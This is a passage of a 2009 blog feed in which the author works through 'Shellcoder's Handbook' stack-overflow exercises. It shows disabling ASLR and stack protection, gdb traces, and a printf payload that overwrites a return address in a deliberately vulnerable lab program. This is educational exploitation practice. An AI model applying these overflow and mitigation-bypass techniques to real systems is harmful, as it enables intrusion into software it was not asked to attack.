src='https://blogger.googleusercontent.com/tracker/7878423829977457548-7358764576524026847?l=shellcoders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shellcoders.blogspot.com/feeds/7358764576524026847/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://shellcoders.blogspot.com/2009/04/cheaters-page-32.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7878423829977457548/posts/default/7358764576524026847'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7878423829977457548/posts/default/7358764576524026847'/><link rel='alternate' type='text/html' href='http://shellcoders.blogspot.com/2009/04/cheaters-page-32.html' title='Cheaters! Page 32'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='25' src='http://www.planb-security.net/todb/whr_avatar.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7878423829977457548.post-4492124763257617546</id><published>2009-04-14T12:29:00.000-07:00</published><updated>2009-06-10T12:59:48.625-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='disable aslr'/><category scheme='http://www.blogger.com/atom/ns#' term='sysctl'/><category scheme='http://www.blogger.com/atom/ns#' term='chapter_2'/><category scheme='http://www.blogger.com/atom/ns#' term='aslr'/><title type='text'>Avoiding ASLR, Page 28</title><content type='html'>So, I'm trying to get the local DVD ISO's of Debian 3.1r4, and it's going to take at least all day to download. The archival ISOs are only in jigdo format, which means you have to download all the individual debs -- I'm unable to find any ISOs Debian 3.1 (Sarge) of any revision.&lt;br /&gt;&lt;br /&gt;I briefly toyed with an old Fedora Core 4 VMWare image from the VMWare Appliance store, but it's useless since it didn't ship with a compiler (no gcc or cc at all! Useless!). So, never mind on all that.&lt;br /&gt;&lt;br /&gt;&lt;s&gt;I suppose it's for the best. If ASLR is the state of the art today, I guess I may as well just read through the old way of doing things on Linux, and not worry too much about replicating the results of exploiting with static stack layouts.&lt;/s&gt;&lt;br /&gt;&lt;br /&gt;But not so fast! I little bit more Googling turned up the correct sysctl options. Thanks to &lt;a href="http://forum.smashthestack.org/viewtopic.php?pid=1000"&gt;Smash the Stack&lt;/a&gt;, I found this, and it works like a champ:&lt;pre class='code'&gt;todb@mazikeen:~/dev/sc$ sudo /sbin/sysctl -w kernel.randomize_va_space=0&lt;br /&gt;kernel.randomize_va_space = 0&lt;br /&gt;todb@mazikeen:~/dev/sc$ gcc find_start.c -o find_start&lt;br /&gt;todb@mazikeen:~/dev/sc$ ./find_start &lt;br /&gt;Found start: 0xbffff344&lt;br /&gt;todb@mazikeen:~/dev/sc$ ./find_start &lt;br /&gt;Found start: 0xbffff344&lt;/pre&gt;Huzzah! So, back to page 28.&lt;br /&gt;By the way, here's the jigdo command line, if you'd like to give building Sarge a whirl:&lt;pre class="code"&gt;jigdo-lite http://cdimage.debian.org/cdimage/archive/3.1_r4/i386/jigdo-dvd/debian-31r4-i386-binary-1.jigdo&lt;br /&gt;&lt;br /&gt; jigdo-lite http://cdimage.debian.org/cdimage/archive/3.1_r4/i386/jigdo-dvd/debian-31r4-i386-binary-2.jigdo&lt;/pre&gt; That bad boy is still churning away.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7878423829977457548-4492124763257617546?l=shellcoders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shellcoders.blogspot.com/feeds/4492124763257617546/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://shellcoders.blogspot.com/2009/04/avoiding-aslr-page-28.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7878423829977457548/posts/default/4492124763257617546'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7878423829977457548/posts/default/4492124763257617546'/><link rel='alternate' type='text/html' href='http://shellcoders.blogspot.com/2009/04/avoiding-aslr-page-28.html' title='Avoiding ASLR, Page 28'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='25' src='http://www.planb-security.net/todb/whr_avatar.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7878423829977457548.post-2793009421219371665</id><published>2009-04-13T14:50:00.000-07:00</published><updated>2009-06-10T12:59:33.303-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='debian'/><category scheme='http://www.blogger.com/atom/ns#' term='chapter_2'/><category scheme='http://www.blogger.com/atom/ns#' term='aslr'/><category scheme='http://www.blogger.com/atom/ns#' term='shellcode'/><category scheme='http://www.blogger.com/atom/ns#' term='oldversions'/><title type='text'>Chapter 2, "Overflowing Buffers on the Stack," page 28</title><content type='html'>Welp, it looks like it's the end of the line for my stock Ubuntu kernel -- it's clear that Ubuntu 8.10 is using ASLR (Address Space Layout Randomization), as described later in Chapter 14, on page 396.&lt;br /&gt;&lt;br /&gt;Now, I did mess with find_start.c a little to match up where the stack actually starts with what's reported in /proc/&amp;lt;pid&amp;gt;/maps. Here's that -- and this looks like it might be marginally useful in actual exploitation:&lt;pre class='code'&gt;#include &lt;stdio.h&gt;&lt;br /&gt;// find_start.c&lt;br /&gt;unsigned int find_start(void)&lt;br /&gt;{&lt;br /&gt;  __asm__("movl %esp, %eax");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt; printf("Found start: 0x%x\n",find_start());&lt;br /&gt; printf("*********************************\n");&lt;br /&gt; char path[80];&lt;br /&gt; sprintf(path, "/proc/%d/maps",getpid());&lt;br /&gt; printf("Snarfing %s\n",path);&lt;br /&gt; char *cmd[3];&lt;br /&gt; cmd[0] = "/bin/cat";&lt;br /&gt; cmd[1] = path;&lt;br /&gt; cmd[2] = 0x0;&lt;br /&gt; execv(cmd[0],cmd);&lt;br /&gt;}&lt;/pre&gt;Excuse my ghetto C, but this allows me to see output like:&lt;pre class='code'&gt;todb@mazikeen:~/dev/sc$ ./find_start &lt;br /&gt;Found start: 0xbfb17e7c&lt;br /&gt;*********************************&lt;br /&gt;Snarfing /proc/4264/maps&lt;br /&gt;[... memory map here...]&lt;br /&gt;bfb05000-bfb1a000 rw-p bffeb000 00:00 0          [stack]&lt;br /&gt;todb@mazikeen:~/dev/sc$&lt;/pre&gt;&lt;br /&gt;Running this a few times elicits different results for both the found start value, and the start and end of the stack. Too bad I'm way too stupid to work through how to fix this up with my usual running kernel -- I will have to procure or compile a new kernel without ASLR to make any more headway with this example exploit. I guess I'll get back to it later.&lt;br /&gt;&lt;br /&gt;One great pointer here though is that this author states he's "running on Debian 3.1r4," so it would probably be a good idea to create a VM with that distro for the rest of the exercises. It'll still be interesting to note where certain attacks succeed on this (multiyear out of date) build versus the new Linux hotness. &lt;a href="http://www.filewatcher.com/m/debian-31r4-i386-netinst.iso.117620736.0.0.html"&gt;this link&lt;/a&gt; (specifically the gnome.org version) may work for our purposes.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7878423829977457548-2793009421219371665?l=shellcoders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shellcoders.blogspot.com/feeds/2793009421219371665/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://shellcoders.blogspot.com/2009/04/chapter-2-overflowing-buffers-on-stack_13.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7878423829977457548/posts/default/2793009421219371665'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7878423829977457548/posts/default/2793009421219371665'/><link rel='alternate' type='text/html' href='http://shellcoders.blogspot.com/2009/04/chapter-2-overflowing-buffers-on-stack_13.html' title='Chapter 2, &quot;Overflowing Buffers on the Stack,&quot; page 28'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='25' src='http://www.planb-security.net/todb/whr_avatar.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7878423829977457548.post-6573477614930697894</id><published>2009-04-13T13:22:00.000-07:00</published><updated>2009-06-10T12:59:16.304-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='gcc'/><category scheme='http://www.blogger.com/atom/ns#' term='chapter_2'/><category scheme='http://www.blogger.com/atom/ns#' term='shellcode'/><category scheme='http://www.blogger.com/atom/ns#' term='preferred-stack-boundary'/><title type='text'>Chapter 2, "Overflowing Buffers on the Stack," page 27</title><content type='html'>Compiling the supplied shellcode.c seems to work, but it doesn't with the indicated command line.&lt;pre class='code'&gt;todb@mazikeen:~/dev/sc$ gcc shellcode.c -o shellcode&lt;br /&gt;todb@mazikeen:~/dev/sc$ ./shellcode&lt;br /&gt;todb@mazikeen:~/dev/sc$ echo $SHELL&lt;br /&gt;/bin/bash&lt;br /&gt;todb@mazikeen:~/dev/sc$ &lt;/pre&gt;&lt;br /&gt;Compiling with the preferred stack boundary set will make the supplied shellcode usable:&lt;pre class='code'&gt;todb@mazikeen:~/dev/sc$ gcc -mpreferred-stack-boundary=2 shellcode.c -o shellcode&lt;br /&gt;todb@mazikeen:~/dev/sc$ ./shellcode&lt;br /&gt;$ echo $SHELL&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;Note, in the first place, all we did was return -- we weren't in a new spawned shell at all (or else we would see the bare sh prompt instead of my decorated bash prompt).&lt;br /&gt;&lt;br /&gt;&lt;a href="http://laramies.blogspot.com/2004/11/gcc-mpreferred-stack-boundarynum.html"&gt;This post&lt;/a&gt; talks a little about what preferred-stack-boundary actually does (he quotes, apparently, from &lt;a href="http://developer.apple.com/documentation/DeveloperTools/gcc-3.3/gcc/i386-and-x86_002d64-Options.html"&gt;here&lt;/a&gt;); since this is shellcode, I assume the default boundary of 4 is causing the opcodes to get misaligned when it's left off of the gcc command line.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7878423829977457548-6573477614930697894?l=shellcoders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shellcoders.blogspot.com/feeds/6573477614930697894/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://shellcoders.blogspot.com/2009/04/chapter-2-overflowing-buffers-on-stack.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7878423829977457548/posts/default/6573477614930697894'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7878423829977457548/posts/default/6573477614930697894'/><link rel='alternate' type='text/html' href='http://shellcoders.blogspot.com/2009/04/chapter-2-overflowing-buffers-on-stack.html' title='Chapter 2, &quot;Overflowing Buffers on the Stack,&quot; page 27'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='25' src='http://www.planb-security.net/todb/whr_avatar.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7878423829977457548.post-4864654777871497814</id><published>2009-04-09T12:31:00.000-07:00</published><updated>2009-04-09T12:50:40.103-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='chapter_2'/><category scheme='http://www.blogger.com/atom/ns#' term='gdb'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='stack'/><title type='text'>Chapter 2, Example 2-3, "Overflowing Buffers on the Stack," page 23</title><content type='html'>So, first off, I've downloaded the real code examples from Wiley, &lt;a href="http://media.wiley.com/product_ancillary/3X/04700802/DOWNLOAD/080238%20code.zip"&gt;here&lt;/a&gt;. From here on in, I'll be using their code, rather than retyping it myself like a dunderhead.&lt;br /&gt;&lt;br /&gt;Second, I wasn't getting my exploit to work exactly as expected. Turns out, I have an extra 4 bytes at the end of my array[30] buffer that I have to get through. This became obvious when I looked at the dump:&lt;pre class="code"&gt;(gdb) disassemble return_input &lt;br /&gt;Dump of assembler code for function return_input:&lt;br /&gt;0x080483f4 &lt;return_input+0&gt;: push   %ebp&lt;br /&gt;0x080483f5 &lt;return_input+1&gt;: mov    %esp,%ebp&lt;br /&gt;0x080483f7 &lt;return_input+3&gt;: sub    $0x24,%esp&lt;br /&gt;0x080483fa &lt;return_input+6&gt;: lea    -0x1e(%ebp),%eax&lt;br /&gt;0x080483fd &lt;return_input+9&gt;: mov    %eax,(%esp)&lt;br /&gt;0x08048400 &lt;return_input+12&gt;: call   0x8048308 &lt;gets@plt&gt;&lt;br /&gt;0x08048405 &lt;return_input+17&gt;: lea    -0x1e(%ebp),%eax&lt;br /&gt;0x08048408 &lt;return_input+20&gt;: mov    %eax,(%esp)&lt;br /&gt;0x0804840b &lt;return_input+23&gt;: call   0x8048328 &lt;puts@plt&gt;&lt;br /&gt;0x08048410 &lt;return_input+28&gt;: leave  &lt;br /&gt;0x08048411 &lt;return_input+29&gt;: ret    &lt;br /&gt;End of assembler dump.&lt;br /&gt;(gdb) break *0x08048400&lt;br /&gt;Breakpoint 1 at 0x8048400: file overflow.c, line 4.&lt;br /&gt;(gdb) break *0x08048411&lt;br /&gt;Breakpoint 2 at 0x8048411: file overflow.c, line 6.&lt;br /&gt;(gdb) run&lt;br /&gt;Starting program: /home/todb/dev/sc/overflow &lt;br /&gt;&lt;br /&gt;Breakpoint 1, 0x08048400 in return_input () at overflow.c:4&lt;br /&gt;4    gets (array); &lt;br /&gt;(gdb) disas main&lt;br /&gt;Dump of assembler code for function main:&lt;br /&gt;0x08048412 &lt;main+0&gt;: push   %ebp&lt;br /&gt;0x08048413 &lt;main+1&gt;: mov    %esp,%ebp&lt;br /&gt;0x08048415 &lt;main+3&gt;: call   0x80483f4 &lt;return_input&gt;&lt;br /&gt;0x0804841a &lt;main+8&gt;: mov    $0x0,%eax&lt;br /&gt;0x0804841f &lt;main+13&gt;: pop    %ebp&lt;br /&gt;0x08048420 &lt;main+14&gt;: ret    &lt;br /&gt;End of assembler dump.&lt;br /&gt;(gdb) x/20x $esp&lt;br /&gt;0xbfc7b80c: 0xbfc7b812 0xb7f46ff4 0x08049ff4 0xbfc7b838&lt;br /&gt;0xbfc7b81c: 0x08048459 0xb7f6ff50 0x08048340 0x0804844b&lt;br /&gt;0xbfc7b82c: 0xb7f46ff4 0xbfc7b838 0x0804841a 0xbfc7b898&lt;br /&gt;0xbfc7b83c: 0xb7e03685 0x00000001 0xbfc7b8c4 0xbfc7b8cc&lt;br /&gt;0xbfc7b84c: 0xb7f61b38 0x00000001 0x00000001 0x00000000&lt;br /&gt;(gdb) continue&lt;br /&gt;Continuing.&lt;br /&gt;111111111122222222223333333333ABCDEFGH&lt;br /&gt;111111111122222222223333333333ABCDEFGH&lt;br /&gt;&lt;br /&gt;Breakpoint 2, 0x08048411 in return_input () at overflow.c:6&lt;br /&gt;6 }&lt;br /&gt;(gdb) x/20x 0xbfc7b80c&lt;br /&gt;0xbfc7b80c: 0xbfc7b812 0x31316ff4 0x31313131 0x31313131&lt;br /&gt;0xbfc7b81c: 0x32323232 0x32323232 0x33333232 0x33333333&lt;br /&gt;0xbfc7b82c: 0x33333333 0x44434241 0x48474645 0xbfc7b800&lt;br /&gt;0xbfc7b83c: 0xb7e03685 0x00000001 0xbfc7b8c4 0xbfc7b8cc&lt;br /&gt;0xbfc7b84c: 0xb7f61b38 0x00000001 0x00000001 0x00000000&lt;/pre&gt;It took a teeny bit of experimentation, but now I can see that my old return address, 0x0804841a, is overwritten with 0x48474645, which is little-endian hex for "EFGH" -- my "ABCD" ends up elswhere. I'm not sure from whence this extra space comes from, but my array[30] still seems safe up up to three bytes past the end:&lt;pre class="code"&gt;todb@mazikeen:~/dev/sc$ printf "123456789012345678901234567890A" | ./overflow&lt;br /&gt;123456789012345678901234567890A&lt;br /&gt;todb@mazikeen:~/dev/sc$ printf "123456789012345678901234567890AA" | ./overflow&lt;br /&gt;123456789012345678901234567890AA&lt;br /&gt;todb@mazikeen:~/dev/sc$ printf "123456789012345678901234567890AAA" | ./overflow&lt;br /&gt;123456789012345678901234567890AAA&lt;br /&gt;todb@mazikeen:~/dev/sc$ printf "123456789012345678901234567890AAAA" | ./overflow&lt;br /&gt;123456789012345678901234567890AAAA&lt;br /&gt;Segmentation fault (core dumped)&lt;/pre&gt;At any rate, the exploit works just fine with the extra padding:&lt;br /&gt;&lt;pre class="code"&gt;todb@mazikeen:~/dev/sc$ printf "123456789012345678901234567890AAAA\x15\x84\x04\x08" | ./overflow&lt;br /&gt;123456789012345678901234567890AAAA�&lt;br /&gt;123456789012345678901234567890AAAA�&lt;/pre&gt;Oh, and I should mention this somewhere explicit, that I'm using Ubuntu 8.10, stock everything for the purposes of Shellcoder's (I have some custom pcap stuff, but nothing that should affect these exercises).&lt;br /&gt;&lt;br /&gt;Oh2, hugely useful is gdb's text UI. Type Ctrl-X, Ctrl-A to get a view into the source code and where you're at when you hit your breakpoints, and "layout regs" to read your registers directly. Ctrl-X Ctrl-A to get back to regular console mode.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7878423829977457548-4864654777871497814?l=shellcoders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shellcoders.blogspot.com/feeds/4864654777871497814/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://shellcoders.blogspot.com/2009/04/chapter-2-example-2-3-overflowing_09.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7878423829977457548/posts/default/4864654777871497814'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7878423829977457548/posts/default/4864654777871497814'/><link rel='alternate' type='text/html' href='http://shellcoders.blogspot.com/2009/04/chapter-2-example-2-3-overflowing_09.html' title='Chapter 2, Example 2-3, &quot;Overflowing Buffers on the Stack,&quot; page 23'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='25' src='http://www.planb-security.net/todb/whr_avatar.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7878423829977457548.post-8512159217159391204</id><published>2009-04-08T13:24:00.000-07:00</published><updated>2009-04-08T14:54:06.395-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='chapter_2'/><category scheme='http://www.blogger.com/atom/ns#' term='stack'/><title type='text'>Chapter 2, Example 2-3, "Overflowing Buffers on the Stack," page 19</title><content type='html'>If you are running a 2.6.x Linux kernel (like me), you will need to compile code with -fno-stack-protector:&lt;br /&gt;&lt;pre class='code'&gt;todb@mazikeen:~/dev/sc$ gcc -mpreferred-stack-boundary=2 -fno-stack-protector -ggdb 2-3.c -o overflow&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Otherwise, your buffer overflow will produce totally different (and usually very useful, but maybe not in this case) results:&lt;br /&gt;&lt;pre class='code'&gt;todb@mazikeen:~/dev/sc$ ./overflow &lt;br /&gt;AAAAAAAAAAB&lt;br /&gt;AAAAAAAAAAB&lt;br /&gt;*** stack smashing detected ***: ./overflow terminated&lt;br /&gt;======= Backtrace: =========&lt;br /&gt;/lib/libc.so.6(__fortify_fail+0x4b)[0xb7ed005b]&lt;br /&gt;/lib/libc.so.6(__fortify_fail+0x0)[0xb7ed0010]&lt;br /&gt;./overflow[0x804842c]&lt;br /&gt;./overflow[0x8048436]&lt;br /&gt;/lib/libc.so.6(__libc_start_main+0xe5)[0xb7e03685]&lt;br /&gt;./overflow[0x8048391]&lt;br /&gt;======= Memory map: ========&lt;br /&gt;08048000-08049000 r-xp 00000000 08:01 168557     /home/todb/dev/sc/overflow&lt;br /&gt;08049000-0804a000 rw-p 00000000 08:01 168557     /home/todb/dev/sc/overflow&lt;br /&gt;0804a000-0806b000 rw-p 0804a000 00:00 0          [heap]&lt;br /&gt;b7dec000-b7ded000 rw-p b7dec000 00:00 0 &lt;br /&gt;b7ded000-b7f2a000 r-xp 00000000 08:01 13388391   /lib/libc-2.8.90.so&lt;br /&gt;b7f2a000-b7f2c000 r--p 0013d000 08:01 13388391   /lib/libc-2.8.90.so&lt;br /&gt;b7f2c000-b7f2d000 rw-p 0013f000 08:01 13388391   /lib/libc-2.8.90.so&lt;br /&gt;b7f2d000-b7f30000 rw-p b7f2d000 00:00 0 &lt;br /&gt;b7f33000-b7f40000 r-xp 00000000 08:01 13385851   /lib/libgcc_s.so.1&lt;br /&gt;b7f40000-b7f41000 r--p 0000c000 08:01 13385851   /lib/libgcc_s.so.1&lt;br /&gt;b7f41000-b7f42000 rw-p 0000d000 08:01 13385851   /lib/libgcc_s.so.1&lt;br /&gt;b7f42000-b7f45000 rw-p b7f42000 00:00 0 &lt;br /&gt;b7f45000-b7f5f000 r-xp 00000000 08:01 13385969   /lib/ld-2.8.90.so&lt;br /&gt;b7f5f000-b7f60000 r-xp b7f5f000 00:00 0          [vdso]&lt;br /&gt;b7f60000-b7f61000 r--p 0001a000 08:01 13385969   /lib/ld-2.8.90.so&lt;br /&gt;b7f61000-b7f62000 rw-p 0001b000 08:01 13385969   /lib/ld-2.8.90.so&lt;br /&gt;bf866000-bf87b000 rw-p bffeb000 00:00 0          [stack]&lt;br /&gt;Aborted (core dumped)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;With -fno-stack-protection, the output looks a lot more like the book's:&lt;br /&gt;&lt;pre class='code'&gt;todb@mazikeen:~/dev/sc$ ./overflow &lt;br /&gt;AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD&lt;br /&gt;AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD&lt;br /&gt;Segmentation fault (core dumped)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;By disabling Linux (Debian's / Ubuntu's) stack protection, the gdb output looks a lot closer to what the book describes, as well.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7878423829977457548-8512159217159391204?l=shellcoders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shellcoders.blogspot.com/feeds/8512159217159391204/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://shellcoders.blogspot.com/2009/04/chapter-2-example-2-3-overflowing.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7878423829977457548/posts/default/8512159217159391204'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7878423829977457548/posts/default/8512159217159391204'/><link rel='alternate' type='text/html' href='http://shellcoders.blogspot.com/2009/04/chapter-2-example-2-3-overflowing.html' title='Chapter 2, Example 2-3, &quot;Overflowing Buffers on the Stack,&quot; page 19'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='25' src='http://www.planb-security.net/todb/whr_avatar.png'/></author><thr:total>0</thr:total></entry></feed>
